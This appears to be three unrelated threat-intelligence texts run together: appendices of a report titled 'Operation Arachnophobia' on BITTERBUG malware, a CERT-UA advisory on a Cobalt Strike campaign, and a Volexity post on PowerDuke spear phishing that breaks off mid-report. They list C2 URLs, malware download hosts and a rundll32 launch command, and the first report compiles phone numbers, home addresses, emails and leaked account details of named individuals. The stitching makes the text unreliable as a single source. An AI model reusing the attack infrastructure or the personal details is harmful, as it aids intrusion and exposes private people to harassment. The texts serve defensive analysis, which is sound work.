2014-03-17T08:16:25Z C:\Intel\Logs\file.pdb 18            OPERATION ARACHNOPHOBIA BITTERBUG Import Hashes Imphash Compile Time 610893cd57631d1708d5efbc786bd9df 2013-05-08T10:58:22Z 5b1bebadb5713018492b1973ab883c25 2013-05-10T19:18:54Z 5b1bebadb5713018492b1973ab883c25 2013-05-23T17:21:19Z cf63bfee568869182bd91a3cb8e386ce 2013-06-14T13:53:13Z ccca290b8ab75a5b29f61847fb882c20 2013-06-25T13:04:04Z cf63bfee568869182bd91a3cb8e386ce 2013-07-09T10:16:00Z 435bd4f04b2ee7cb05ce402f2bcea85e 2013-08-01T17:28:54Z 2458ee58d046f14cad685e6c9c66f109 2013-10-24T09:28:23Z c47d4980c1c152eba335bed5076e8a6f 2013-12-06T10:02:36Z bd0665ffedcf2a9ded36a279d08e4752 2013-12-26T09:19:40Z 58758cb068583736ef33a09a2c4665de 2013-12-30T13:11:23Z 5b943bec7d2a589adfe0d3ff2a30bfe5 2014-03-17T08:16:25Z 19            OPERATION ARACHNOPHOBIA BITTERBUG Network Communications HTTP Requests http://c2_location/checkpkg_maxell.php?compname http://c2_location/checkpkg_petal.php?compname http://c2_location/checkpkg.php?compname http://c2_location/fetch_updates_8765_tb.php?compname http://c2_location/fetch_updates_flex.php?compname http://c2_location/fetch_updates_m.php?compname http://c2_location/fetch_updates_petal.php?compname http://c2_location/fetch_updates_pops.php?compname http://c2_location/fetch_updates_pret.php?compname http://c2_location/is_array_max.php?compname http://c2_location/is_array_own.php?compname http://c2_location/is_array_pal.php?compname http://c2_location/is_array.php?compname http://c2_location/maxell_active.php?compname http://c2_location/path_active.php?compname http://c2_location/petal_active.php?compname http://c2_location/version_maxell.php?srs http://c2_location/version_own.php?srs http://c2_location/version_petal.php?srs http://c2_location/versionchk.php?srs http://c2_location/vtris.php?srs http://c2_location/vtris1.php?srs http://c2_location/fetch_updates_8765.php?compname BITTERBUG Domain  IPs C2s 199.91.173.43 199.91.173.44 199.91.173.45 windowsupdate.no-ip.biz 20            OPERATION ARACHNOPHOBIA APPENDIX C: VPSNOC Email Header Analysis The Kansas-City-based hosting provider sent an introductory email message on July 24th, 2013 at 1500 CDT and would be received by TCIRT at 1400 EDT and VPSNOC on Thursday July 25th, 2013 at 1200 PKT.
49 Analysis of the VPSNOC email50 header indicated that the message was sent on Thursday 25 July at 02:28:41 0500 GMT, which is consistent with Pakistans time zone.
Of note, the email message was sent with an X-Originating IP Address of 184.75.214.10 corresponding to a Private Internet Access51 Canadian proxy52.
VPSNOCs use of this commercial proxy service likely demonstrates the intent to mask the apparent origin of the sender.
These two examples highlight that VPSNOCs inbound and outbound email communications consistently utilized a 0500 Pakistani timezone.
49  Digital Appendix 1: Raw Email Communications Email1 Subject- Re- Contact Info (Date- Wed, 24 Jul 2013 14-00-29 -0500).eml 50  Digital Appendix 2: Raw Email Communications Email2 Subject- Re- Contact Info (Date- Thu, 25 Jul 2013 02-28-41 0500).eml 51  https://www.privateinternetaccess.com 52  http://pastebin.com/F261NfYa 21            OPERATION ARACHNOPHOBIA APPENDIX D: Inconsistencies Observed Due to the apparent Pakistani nexus within the BITTERBUG malware and the Pakistan time zone consistently observed within the VPSNOC emails, the TCIRT applied additional scrutiny and research of the content within the Tranchulas Response_ ThreatConnect.docx to validate their claims.
In the following section we will examine the inconsistencies observed.
Within the response we observed the following inconsistencies: Inconsistency 1: Day  Date Misalignment within image1.png Screenshot Our review of the Response_ThreatConnect.docx53 focused in on the email screenshot (Figure 3) image1.png54 that Khan provided revealing that the date probably had been modified to appear as though they were the first to notify VPSNOC.
Within the official response, Zubair Khan indicated that Tranchulas was already aware of this incident...and contacted hosting company.
The official response included a screenshot depicting an email sent to VPSNOC from an unidentified (redacted) tranchulas.com email address that was sent on Tue, Jul 21, 2013 at 11:36 PM with no evidence of the date in which it was received by or responded to by VPSNOC.
This message contained a notable misalignment between the date and day of the week.
July 21, 2013 was a Sunday, not a Tuesday.
Tuesday would have pre-dated our official notification that occurred on Wednesday July 24, 2013, and could indicate that Tranchulas may have obtained insight into the original TCIRT notification through Pakistan- based contacts within VPSNOC.
The TCIRT subsequently responded to Mr. Khans official explanation with a follow-up inquiry, offering Khan an opportunity to explain the date inconsistency within the email screenshot.
Mr. Khan deferred our request to Mr. Hamza Qamar55, a Penetration Testing Team Lead at Tranchulas, who later responded56 with a simple denial that the email message had not been altered apart from blurring the name of the original sender.
Inconsistency 2: Awareness of Withheld Information The email screenshot (image1.png) from within the Tranchulas response demonstrated awareness of information that we initially withheld and later released in our blog post: one malware variant57 that contained a debug string with umairaziz27 the same username as a Tranchulas employee.
The Tranchulas message to VPSNOC incorrectly claimed to identify malware on 199.91.173.43 that contained the companys name and...employees name.
While it is possible that Tranchulas analysts discovered this variant independent of the blog post, it added to the inconsistent elements of the response and further suggested that the blog post may have inspired its communications with VPSNOC.
We note that we requested additional information such as the detailed analysis report within the exchange from Tranchulas but did not receive a response.
Inconsistency 3: Tranchulas Direct Notification The Tranchulas response indicates that Tranchulas research team was already aware of this incident before publication of this report.
Our team contacted hosting company of server to seek an explanation.
Considering there are no public references to the identified infrastructure identifying VPSNOC as the hosting company.
The only way for Tranchulas to identify VPSNOC as the hosting company was to either have previous insider knowledge of the activity, or to have been privately introduced by the Kansas-City-based service provider to their client VPSNOC, of which was never mentioned or discussed when we initially exchanged with either the Kansas-City or Pakistan-based hosting providers.
53 Digital Appendix 1: Research Collateral Response_ThreatConnect.docx (MD5: 6f7010a28f33be02d85deb9ba40ec222) 54 Digital Appendix 1: Research Collateral image1.png (MD5: d224f39f8e20961b776c238731821d16) 55 http://pk.linkedin.com/pub/hamza-qamar/22/6b8/109 56  Digital Appendix 2: Raw Email Communications (Email4 Subject- Re- Regarding 20130731A- South Asia Cyber Espionage Heats Up - (Date- Thu, 15 Aug 2013 12-52-54 0500).eml 57 https://www.virustotal.com/en/file/b9a062e84ab64fc55dedb4ba72f62544eb66d7e1625059d2f149707ecd11f9c0/analysis/ 22            OPERATION ARACHNOPHOBIA Public registration of the 199.91.173.43 reveals the Kansas-City-based hosting provider as the official registrant and owner of the infrastructure.
The only way to know that VPSNOC was subleasing the infrastructure was to obtain this information directly from them.
There was no public reference which would have revealed VPSNOC as the entity which maintained root access to the 199.91.173.43.
Had Tranchulas legitimately conducted an initial victim notification sometime in late July 2013, they would have likely done so through the Kansas-City-based hosting provider and not VPSNOC.
On August 15, 2013, Hamza Qamars response to TCIRTs follow up inquiry to the observed inconsistencies redirected TCIRT personnel to VPSNOC to obtain an explanation versus attempting to explain the observed day date inconsistency and document properties within the Tranchulas email.
The TCIRTs suspicion mounted when presenting Tranchulas with the opportunity to set the record straight, that Tranchulas could not substantiate their claims, rather deferring the TCIRT inquiry to a third party (VPSNOC).
Inconsistency 4: Tranchulas obtains similar response that TCIRT obtained Within the Response_ThreatConnect.docx the image image1.png contains an undated response from VPSNOC to the Tue, Jul 21, 2013 Tranchulas notification.
The undated VPSNOC response that Tranchulas received is nearly identical to the response that TCIRT and the Kansas-City-based service provider obtained on July 24th.
Tranchulas does not include the date or time as to when they obtained a response from VPSNOC.
The TCIRT found it unusual that neither the Kansas-City-based service provider or VPSNOC personnel ever indicated either way that they knew about the activity or had been previously contacted by either party.
When considering all of the inconsistencies, order of events and studying, Gmail webmail layout, similarities of keywords, salutations and closings within the Tue, Jul 21, 2013 Tranchulas notification and the respective VPSNOC response.
The TCIRT grew increasingly suspicious of the exchanges with VPSNOC and subsequent exchanges with Tranchulas personnel.
Inconsistency 5: Similar Document Metadata Properties Analysis of metadata within two benign decoy documents that were originally used within July 2013 BITTERBUG operations, Report.docx58 and Naxalites_Funded_by_Pakistan.docx59, both maintained the author properties of hp.
In reviewing the document metadata within the Response_ThreatConnect.docx that was sent from Mr. Zubair Khan on August 6, 2013, the TCIRT also identified that this document maintained the creator properties of hp.
(
Figure 10) While the author field of hp doesnt conclusively prove a relationship, it contributes to a body of circumstantial evidence which matches the document properties of the official Tranchulas response to the document properties that were also found within decoy documents that were bundled with BITTERBUG implants.
58 https://www.virustotal.com/en/file/7e940115988d64fbf7cd3b0d86cd2440529f921790578a96acac4c027120e0c5/analysis/ 59 https://www.virustotal.com/en/file/f689d9990a23fbde3b8688b30ff606da66021803390d0a48d02fad93dc11fa15/analysis/ 23            OPERATION ARACHNOPHOBIA APPENDIX E: VPSNOC  Digital Linx Associations According to the vpsnoc.com website In 2007 five VPS experts decided to invest in their very own private rack space in the heart of Kansas, the United States.
Their aim?
To bring service-oriented, quality managed and unmanaged VPS solutions to clients all over the world.
Just 1 year later, after beginning their enterprise on 3 servers they had filled 2 server racks with happy clients receiving quality U.S support.
Their company continued to build momentum.
60 Whois records for vpsnoc.com indicate that another individual registered the domain and listed Digital Linx Hosting as the registrant organization with a Kansas City-based address, telephone number 925-665-1427, and administrative email address admindigitallinx.
org.61 This is the same registrant record for the digitallinx.net domain.62 The digitallinx.net/sitemap.xml63 and the corresponding Google cache64 for digitallinx.net/sitemap.xml indiciate that both digitallinx.net and digitallinx.com have shared the same sitemap.xml at the same time.
The digitallinx.net/Contact.html65 identified similar overlaps with data across the .org, .net, and .com domains.
The domain digitallinx.com is registered to Perasona 1.66 67 68 69 He uses email addresses naseerdigitallinx.com and nbhatti gmail.com as the domain registrant email address, along with address 638-F Johar Town, Lahore Pakistan and telephone 966.548805579.70 The DigitalLinx (digitallinx.com) website states that it is a web hosting / Web Solutions  Processing Outsourcing Company based in Pakistan.
Open source research of the phone number 925-665-1427 indicates that it is also used within site content as a phone number for defiantmarketing.com.
This domain is registered by Persona 2 71 who uses the aliases agnosticon and agnostic.
Persona 2 lists VPSNOC as the registrant organization, and uses the registration email address of abunasaryahoo.com with an address of House 12, Street 21, F-8/1 Islamabad Federal 44000.
The domain defiantmarketing.com domain has used ns1.abunasar.net and ns2.abunasar.net for name services.
Within a January 2009 posting to a Debian users forum, Persona 2 sends an email from the abunasaryahoo.com with a reply-to as abunasararmy.com.72 Within the post, Persona 2 responds to the question Whos using Debian listing DigitalLinx, Kansas City MO and the link to digitallinx.com.
Also, the seemingly abandoned Twitter profile for Persona 273 is only following the Twitter profile for VPSNOC.74 In an April 2012 post to blackhatworld.com, a user with the alias agnosticon posted promotional codes for VPSNOC hosting services, engaging with customers, providing them feedback regarding VPS services and thanking them for positive reviews.75 Within the posting the user agnosticon included an image which was an actual advertisement that was hosted at http://vpsnoc.
com/order.png.76 77 Within the posted image it states VPSNOC is a subdivision of Digital Linx Hosting.
We have been in business since 2008.
The posting concludes with If you have any further questions/queries please contact us directly at: supportvpsnoc.com 60 http://vpsnoc.com 61 https://whois.domaintools.com/vpsnoc.com 62 https://whois.domaintools.com/digitallinx.net 63 digitallinx.net/sitemap.xml 64 http://webcache.googleusercontent.com/search?qcache:CtCiQUGgUaoJ:www.digitallinx.net/sitemap.xmlcd1hlenctclnkglus 65 digitallinx.net/Contact.html 66 https://whois.domaintools.com/digitallinx.com 67 http://sa.linkedin.com/pub/muhammad-naseer-bhatti/9/18a/815 68 https://groups.google.com/forum/original/securityfocus2/9325p2as3IU/BqKQJwdlZ4YJ 69 Appendix F: Personas Persona 1 Muhammad Naseer Bhatti 70 https://github.com/digitallinx/vBilling/blob/master/CHANGELOG 71 Appendix F: Personas Persona 2 Abunasar Khan 72 https://lists.debian.org/debian-www/2009/01/msg00186.html 73 https://twitter.com/abunasar 74 https://twitter.com/vpsnoc 75 http://www.blackhatworld.com/blackhat-seo/members/32481-agnosticon.html 76 http://www.blackhatworld.com/blackhat-seo/hosting/430705-unmetered-vps-hosting-get-50-off-your-first-month-exclusive-coupons-bhw.html 77 http://vpsnoc.com/order.png 24            OPERATION ARACHNOPHOBIA APPENDIX F: Personas Persona 1: Muhammad Naseer Bhattis LinkedIn profile indicates that he is currently the founder for Digital Linx LLC and vBilling (vbilling.org) as well as a consultant for a U.S. company78.
Both Bhatti and Digital Linx are listed as the registrants for vbilling.org79, v-billing.
com80, vgriffins.com81 and my-server.co82, which use P.O.
Box 295658, Riyadh Saudi Arabia83 as the registration address.
This is also the address for two U.S. companies local operations.
Bhatti is also listed as the owner of the netblock 46.4.139.224/28.
Both passive DNS sources as well as Robtex84 highlight this overlapping infrastructure.85 From September 7 - 9, 2011, Tranchulas in cooperation with the Pakistan National University of Sciences and Technology86 (NUST), offered a Certified Penetration Testing Profession (CPTP) Workshop87 (Figure 17).
During the workshop, basic penetration techniques and skills were presented88.
It is likely that CPTP workshops and alignment with NUST have allowed Tranchulas the opportunity to recruit student interns.89 78 http://sa.linkedin.com/pub/muhammad-naseer-bhatti/9/18a/815 79 http://whois.domaintools.com/vbilling.org 80 http://whois.domaintools.com/v-billing.com 81 http://whois.domaintools.com/vgriffins.com 82 http://whois.domaintools.com/my-server.co 83 http://saudi.emc.com/contact/contact-us.htm 84 https://www.robtex.com/dns/digitallinx.com.html 85 http://whatmyip.co/info/whois/46.4.139.225 86 www.nust.edu.pk 87 http://seecs.nust.edu.pk/Seminars_workshops/pages/tranchulas_hacking_workshop/index.php 88 Digital Appendix 1: Research Collateral (Program.pdf) 89 http://www.nust.edu.pk/INSTITUTIONS/Directortes/ilo/Download20Section/Graduate20Profiles20booklet-20201320(SEECS).pdf 25            OPERATION ARACHNOPHOBIA Figure 17: Muhammad Nasser Tranchulas CPTP Registration Point of Contact Within the CPTP event registration contact information for Muhammad Naseer was listed next to a Tranchulas office number (051- 2871433)90.
It is important to note that Muhammad Naseer Bhatti has been previously known to drop91 the family name Bhatti 90 http://www.linkedin.com/groups/Tranchulas-Handson-Ethical-Hacking-Training-2616369.S.75237952 91 https://groups.google.com/forum/original/securityfocus2/9325p2as3IU/BqKQJwdlZ4YJ 26            OPERATION ARACHNOPHOBIA within online correspondence (Figure 18).
In a June 2012 episode of Engineering and Technology Magazine92 podcast a Mohammed Nasser, Penetration Tester at Tranchulas was interviewed93.
A Mohammed Nasser may also be directly affiliated94 with Tranchulas.
Figure 18: Muhammad Nasser Bhatti Dropping Family Name This links Tranchulas to a Pakistani employee or consultant also named Muhammad Naseer.
It is unknown if this is the same Muhammad Naseer that is associated with VPSNOCs parent company Digital Linx, the Pakistan-based service provider which hosted the original BITTERBUG malware.
92 http://eandt.theiet.org/magazine/2012/06/ 93 http://eandt.theiet.org/magazine/2012/06/et-podcast-18.cfm 94 http://www.zoominfo.com/s/search/profile/person?personId1627460418targetidprofile 27            OPERATION ARACHNOPHOBIA Persona 2: Abunasar Khan also maintains the aliases agnosticon95 and agnostic96 in addition to the email addresses abunasaryahoo.
com and abunasararmy.com.
He has been previously associated97with VPSNOC  Digital Linx.
An April 2012 Whois registrant record for the domain zeusadnetwork.com98 includes the first and last name Khan along with the same (925) 665-1427 phone number seen within the Digial Linx Hosting domains.
Khan registered a variety of domains, many of which use his abunasar.net99 for name services and abunasar.yahoo.com within the Start of Authority (SOA) records.
For example a July 2014 record (Figure 19) for defiantmarketing.com100 and an August 2013 record (Figure 20) for ns2.vpsnoc.com both maintain these references.
Figure 19: SOA record for defiantmarketing.com (July 2014) 95 http://www.blackhatworld.com/blackhat-seo/members/32481-agnosticon.html 96 http://www.redlinegti.com/forum/viewtopic.php?f3t41719p401115 97 http://www.webhostingtalk.com/showthread.php?t723658 98 http://whois.domaintools.com/zeusadnetwork.com 99 http://whois.domaintools.com/abunasar.net 100 http://bgp.he.net/dns/defiantmarketing.com 28            OPERATION ARACHNOPHOBIA Figure 20: SOA Record for vpsnoc.com (August 2013) Abunasar Khan registered abunasar.net and previously (May 2007) and maintained whitehate.org101, which have both been used to demonstrate an affinity for and alignment with AntiSec and Anonymous movements.102 The abunasar.net website prominently displays ascii art of the term antisec with antisec related content Blend in.
Get trusted.
Trust nobody.
Own everybody.
Disclose nothing.
Destroy everything.
Take back the scene.
This is a shared affinity that is also reflected amongst with the culture of Tranchulas employees.103 104 105 The pure.whitehate.org domain has also been previously associated with Khan, examples can be found within phrack and darknet IRC sessions.106 107 Ironically, in February 2011, Khans Rootkit.com user profile was compromised revealing his profiles username, password hash, email (abunasararmy.com), and the registration IP address of 202.125.143.67 (Islamabad, Pakistan).108 During his registration, Khan specified the name anony mo us when registering the profile.
As of 16 August 2013, a Pastebin post contained details of a customer database compromise for nowclothing.pk, which included Khans name, email abunasararmy.com, and cell phone number 03215488881.109 110 Research of the 03215488881 cell phone number yields a user profile abunasark in an April 2009 posting.111 Khan posts pictures of his blue Baleno and includes another phone number 03234764838.112 In a secondary profile user Ak uses the same cell phone number 03215488881 in a 2009 sales posting for a 2004 blue Baleno.113 114 101 https://whois.domaintools.com/whitehate.org 102 https://whois.domaintools.com/abunasar.net 103 https://www.facebook.com/media/set/?seta.542485719112184.135023.132987340062026type3 104 http://youtube.com/watch?vw3DjOuEI0vs.mov 105 Digital Appendix 3: Screenshot Archives (youtube.com/watch?vw3DjOuEI0vs.mov) 106 http://pastebin.com/rqVGqh1q 107 http://shootingsawk.lescigales.org/misc/owneddarknet.txt 108 https://dazzlepod.com/rootkit/?page284 109 http://pastebin.com/ktR3qM3K 110 Digital Appendix 3: Screenshot Archives (pastebin.com/ktR3qM3K.png) 111 http://www.pakwheels.com/forums/user/abunasark 112 http://www.pakwheels.com/forums/members-member-rides/99428-white-baleno-not-anymore-comments-please-p-4 113 http://www.motors.pk/ak-22.htm 114 http://www.motors.pk/used-cars/suzuki-baleno-2004-for-sale-in-islamabad-22.htm 29            OPERATION ARACHNOPHOBIA Khans affinity for Suzuki Baleno cars is made obvious in a May 2009 registration for clubaleno.co.uk that was registered by Khan at VPSNOC using the name services of ns1.abunasar.net and ns2.abunasar.net with a SOA record of abunasar.yahoo.com.115 116 Later in a June 2009 posting, Khan using the alias agnostic attempts to sell the domain clubaleno.co.uk and uses his abunasar army.com email address as a point of contact.117 Khan is also observed using the alias agnosticon and a Toyota Racing Development avitar within posts to blackhatworld.com and again within a 2011 post where he posts a cpanel error that also includes his abunasar username within system output.118 The Google profile for Khan119 reveals established social network links to a Team Lead for Penetration Testing at Tranchulas and a Digital Linx employee Shoaib Riaz120 who also maintains a social network association with the Digital Linx founder Muhammad Nasser Bhatti.121 115 http://www.sitetrail.com/clubaleno.co.uk 116 http://dawhois.com/site/clubaleno.co.uk.html 117 http://www.redlinegti.com/forum/viewtopic.php?f3t41719p401115 118 http://forums.cpanel.net/f5/help-yum-broke-rpm-db-broke-somehow-httpd-wont-start-238511.html 119 https://plus.google.com/103436628630566104748/posts 120 https://plus.google.com/105059395104464629441/about 121 https://plus.google.com/105855064276291727409/posts 30            OPERATION ARACHNOPHOBIA APPENDIX G: Tranchulas The Tranchulas website122 states that they provide a range of security services and training to include penetration and offensive cyber initiative (OCI), in which they help national level cyber security programs on strategies for managing offensive technical threats.
In a September 2011 YouTube user tranchulascert posted a video titled Tranchulas Cyber Ranges - Psha ICT Awards 2011123, where they awarded runner up124.
Within the video, the cyber ranges were referenced as being developed for defense forces that were aimed to help them in developing offensive and defensive warfare skills and combating anti-state hackers.
Although Tranchulas125 brands itself as a multi-national company, their respective operating addresses within United Kingdom126 the United States127 and New Zealand128 are all associated with either virtual office spaces or address forwarding services.
The Tranchulas website lists its Pakistan address within the 2nd floor of the Evacuee Trust Complex129 on Sir Agha Khan Road F-5/1 Islamabad 44000.
The Evacuee Trust Complex is also known as Software Technology Park 2130 or STP2 and hosts a variety131 of other commercial and government offices.
The Tranchulas employee, Hamza Qamar, that handled the response to our inquiry has a public LinkedIn132 profile that states that he Engaged in system and enterprise level network and Web application security testing for clients ranging from large federal agencies, DoD, and commercial clients.
The profile does not specify if DoD is a reference to the U.S. Department of Defense or another countrys Ministry of Defense.
Interestingly, Qamars Google page showed one friend in his circle despite more than 40 followers, Abunasar Khan a VPSNOC employee.
It is likely that Tranchulas provides services to the Pakistani government.
The offensive cyber initiative services offered by Tranchulas is offered to national-level cyber security programs suggesting a commercial demand from national-level customers.
The stated purpose and intent of the Tranchulas Cyber Ranges Psha ICT 2011 awards video suggests the ranges were specifically developed in support of national interests for offensive and defensive purposes.
The domain registration by Zubair Khan using an official Pakistani government address with his zubairtranchulas.com email address indicates that Khan may have or currently maintains a physical address at a location where other Pakistani government officials reside.
Historic Whois registration records for the domains textcrypter.com133, taggnation.com134, bookadoconline.com135 and saadiakhan.
net136 lists Tranchulas CEO Zubair Khan (zubairtranchulas.com137) as the registrant for the domains.
At the time of registration Khan used the address 15-B, Mehran Block of the Gulshan-e-Jinnah F-5/1 Islamabad Pakistan for the domains.
122 http://tranchulas.com 123 https://www.youtube.com/watch?vFAM6JxOHdo8 124 http://pashaictawards.com/?page_id1644 125 http://tranchulas.com/contact-us/ 126 http://www.londonpresence.com/contact-us/ 127 http://nextspace.us/nextspace-union-square-san-francisco/ 128 http://www.privatebox.co.nz/virtual-office/virtual-office-address.php 129 https://www.facebook.com/EvacueeTrustComplex 130 http://wikimapia.org/425791/Evacuee-Trust-Complex 131 https://www.facebook.com/EvacueeTrustComplex/photos/a.554791821273808.1073741825.404981572921501/554791824607141/ 132 http://pk.linkedin.com/pub/hamza-qamar/22/6b8/109 133 https://whois.domaintools.com/textcrypter.com 134 https://whois.domaintools.com/taggnation.com 135 https://whois.domaintools.com/bookadoconline.com 136 https://whois.domaintools.com/saadiakhan.net 137 https://reversewhois.domaintools.com/?emailb249ca637ef7cc55a0136bcda9dca0d3 31            OPERATION ARACHNOPHOBIA In an April 2008 Request for Proposals, the Pakistan Public Works Department issued a tender138 for the Constriction of Government Servant Quarters and Garages at Gulshan-e-Jinnah Complex F-5/1 Islamabad.
Later in May of 2010 within a Pakistani Senate139 question and answer session, the Gulshan-e-Jinnah Complex was cited under Federal Lodges / Hostels in Islamabad under the control of Pakistan Ministry for Housing and Works.
A December 2010 TheNews Pakistan ran a story140 that detailed the differential in rents between commoners within Islamabad and Pakistani government officers accommodated at Gulshan-e-Jinnah.
According to Google Maps141 it is approximately 650 meters (8 minute walk) from the Gulshan-e-Jinnah Complex to the Tranchulas offices within the Evacuee Trust Complex.
Within a May 2013 interview142 Khan specified that he comes from a family with a strong military background.
He detailed his interest in the world of hacking grew during his teen years, referencing his fathers diplomatic assignment to the Philippines in 2003.
Khan would go on to establish Tranchulas in February 2006 after an independent audit of Pakistani Governments National Database and Registration Authority (NADRA).
138 http://www.dgmarket.com/tenders/np-notice.do?noticeId2466880 139 http://www.senate.gov.pk/uploads/documents/questions/1317711132_399.pdf 140 http://www.thenews.com.pk/Todays-News-2-22150-Bureaucrats-journalists-avail-cheaper-accommodation 141  https://www.google.com/maps/dir/Tranchulas,Islamabad,Pakistan/Gulshan-e-JinnahComplex,Islamabad,Pakistan/33.7327466,7 3.0877996,17z/data4m134m121m51m11s0x38dfc0820ff3f9e3:0x4b3eb557d9cd81c32m21d73.0886862d33.733531m51m11s0 x38dfc0818a64f1d7:0x82c3bee2d49d88ab2m21d73.0894092d33.73263?hlen-US 142 http://bluechipmag.com/qa-with-zubair-khan/ 32            OPERATION ARACHNOPHOBIA Digital Appendix 1: Research Collateral Digital Appendix 1 contains additional research collateral collected when conducting Operation Arachnophobia research.
33            OPERATION ARACHNOPHOBIA Digital Appendix 2: Raw Email Communications Digital Appendix 2 contains raw email communications.
These .eml files include raw SMTP headers, content and attachments.
34            OPERATION ARACHNOPHOBIA Digital Appendix 3: Screenshot Archives Digital Appendix 3 contains screenshots of web content used to conduct analysis.
35            OPERATION ARACHNOPHOBIA Digital Appendix 4: Maltego Visualization Digital Appendix 4 contains visualization files that depict relationships and contain metadata associated with our Operation Arachnophobia research.
1/3 CERT-UA cert.gov.ua/article/39708 General information: The governments team for responding to computer emergencies in Ukraine CERT-UA revealed the fact of distribution of e-mails on the topic Urgent .
If you open the document and activate the macro, the macro will load, create and run the pe.dll file on disk.
This will damage your computer with Cobalt Strike Beacon malware.
With a high level of confidence we can note that the file pe.dll, as well as the file spisok.exe from message CERT-UA  4464, is protected by a cryptocurrency related to the group TrickBot.
This activity is targeted and will be tracked by UAC-0098.
Compromise indicators: Files: 877f834e8788d05b625ba639b9318512 ea9dae45f81fe3527c62ad7b84b03d19629014b1a0e346b6aa933e52b0929d8a Military on Azovstal.xls e28ac0f94df75519a60ecc860475e6b3 9990fe0d8aac0b4a6040d5979afd822c2212d9aec2b90e5d10c0b15dee8d61b1 pe.dll (2022-04-15) a3534cc24a76fa81ce38676027de9533 39a868e84524669491d6a251264144f0bfaca4f664d3fd10151854c341077262 shellcode.bin.packed.dll eb18207d505a1de30af6c7baafd28e8e ff30fdd64297ac41937f9a018753871fee0e888844fbcf7bf92bf5f8d6f57090 notevil.dll (CS Beacon) Network : https://cert.gov.ua/article/39708 2/3 hxxp: // 138 [.]
68.229.0 / pe.dll hxxps: // dezword [.]
com / apiv8 / getStatus hxxps: // dezword [.]
com / apiv8 / updateConfig 84 [.]
32.188.29 (Provider: cherryservers [.]
Com) 138 [.]
68.229.0 (Provider: hostkey [.]
Com) 139 [.]
60,161,225 139 [.]
60,161.74 139 [.]
60.161.62 139 [.]
60.161.99 139 [.]
60.161.57 139 [.]
60,161.75 139 [.]
60.161.24 139 [.]
60.161.89 139 [.]
60,161,209 139 [.]
60,161.85 139 [.]
60,160.51 139 [.]
60,161,226 139 [.]
60,161,216 139 [.]
60,161,163 139 [.]
60,160.8 139 [.]
60.161.32 139 [.]
60,161.45 139 [.]
60.161.60 139 [.]
60,160.17 dezword [.]
com (2022-03-22) agreminj [.]
com akaluij [.]
com anidoz [.]
com apeduze [.]
com apocalypse [.]
com arentuk [.]
com axikok [.]
com azimurs [.]
com baidencult [.]
com billiopa [.]
com blinky [.]
com blopik [.]
com borizhog [.]
com britxec [.]
com drimzis [.]
com fluoxi [.]
com shikjil [.]
com shormanz [.]
com verofes [.]
com Hosts: rundll32 C: \ Windows \ Tasks \ pe.dll, DllRegisterServer C: \ Windows \ Tasks \ pe.dll 3/3 Recommendations: 1.
Prohibit office programs (EXCEL.EXE, WINWORD.EXE, etc.)
from creating dangerous processes (for example, rundll32.exe, wscript.exe, etc.
).
2.
Carry out additional monitoring of the facts of establishing network connections by the rundll32.exe process.
Graphic images:
November 9, 2016 PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs www.volexity.com /blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks- and-ngos/ Steven Adair In the wake of the 2016 United States Presidential Election, not even six hours after Donald Trump became the nations President-Elect, an advanced persistent threat (APT) group launched a series of coordinated and well-planned spear phishing campaigns.
Volexity observed five different attack waves with a heavy focus on U.S.-based think tanks and non-governmental organizations (NGOs).
These e-mails came from a mix of attacker created Google Gmail accounts and what appears to be compromised e-mail accounts at Harvards Faculty of Arts and Sciences (FAS).
These e-mails were sent in large quantities to different individuals across many organizations and individuals focusing in national security, defense, international affairs, public policy, and European and Asian studies.
Two of the attacks purported to be messages forwarded on from the Clinton Foundation giving  insight and perhaps a postmortem analysis into the elections.
Two of the other attacks purported to be eFax links or documents pertaining to the elections outcome being revised or rigged.
The last attack claimed to be a link to a PDF download on Why American Elections Are Flawed.
Volexity believes a group it refers to as The Dukes (also known as APT29 or Cozy Bear) is responsible for post-election attack activity.
Background Since August of this year, Volexity has been actively involved in investigating and tracking several attack campaigns from the Dukes.
Most notably the Dukes have previously been tied to the breach of the Democratic National Committee (DNC) and intrusions into multiple high-profile United States Government organizations.
In July 2015, the Dukes started heavily targeting  think tanks and NGOs.
This represented a fairly significant shift in the groups previous operations and one that continued in the lead up to and immediately after the 2016 United States Presidential election.
On August 10, 2016 and August 25, 2016, the Dukes launched several waves of highly targeted spear phishing attacks against several U.S.-based think tanks and NGOs.
These spear phishing messages were spoofed and made to appear to have been sent from real individuals at well-known think tanks in the United States and Europe.
These August waves of attacks purported to be from individuals at Transparency International, the 1/17 https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ https://securelist.com/blog/research/69731/the-cozyduke-apt/ https://www.transparency.org https://www.volexity.com/blog/wp-content/uploads/2016/11/cozy-efax-link.png https://www.volexity.com/blog/wp-content/uploads/2016/11/cozy-efax-doc.png https://www.volexity.com/blog/wp-content/uploads/2016/11/coz-link1-1.png https://www.volexity.com/blog/wp-content/uploads/2016/11/cozy-doc-1.png https://www.volexity.com/blog/wp-content/uploads/2016/11/coz-doc-bottom-1.png https://www.volexity.com/blog/wp-content/uploads/2016/11/cozy-link2.png https://www.volexity.com/blog/wp-content/uploads/2016/11/cozy-link2-bottom.png Center for a New American Security (CNAS),  the International Institute for Strategic Studies (IISS), Eurasia Group, and the Council on Foreign Relations (CFR).
The Dukes are known for launching their attacks by sending links to ZIP files, that contain malicious executables, hosted on legitimate compromised web servers.
However, each of the e-mail messages from the August attacks contained a Microsoft Office Word (.doc) or Excel (.xls) attachment.
These attachments, when viewed, contained legitimate report content from each of the organizations they appeared to have been sent from.
However, the attackers inserted macros into the documents designed to install a malware downloader on the system.
Successful exploitation would result in the download of a PNG image file from a compromised webserver.
These attack campaigns leveraged steganography in the PNG files by hiding components of a backdoor that would exist only in memory after being loaded into rundll32.exe.
Volexity has dubbed this backdoor PowerDuke.
Similar attack campaigns using documents with macros dropping PowerDuke were further observed through October, where Universities, and not think tanks appear to have been the primary targets.
Details of these attacks have been provided to Volexity customers.
Concerned NGOs and Universities that may have been targeted by these attacks campaigns are welcome to reach out for additional details.
November 9  Post-Election Spear Phishing Waves The post-election attacks launched by the Dukes on November 9 were very similar to previous attacks seen from the Dukes in both 2015 and 2016.
The PowerDuke malware, first seen in August 2016, was once again used in these most recent attacks.
Three of the five attack waves contained links to download files from domains that the attackers appear to have control over.
The other two attacks contained documents with malicious macros embedded within them.
Each of these different attack waves were slightly different from one another and are detailed below.
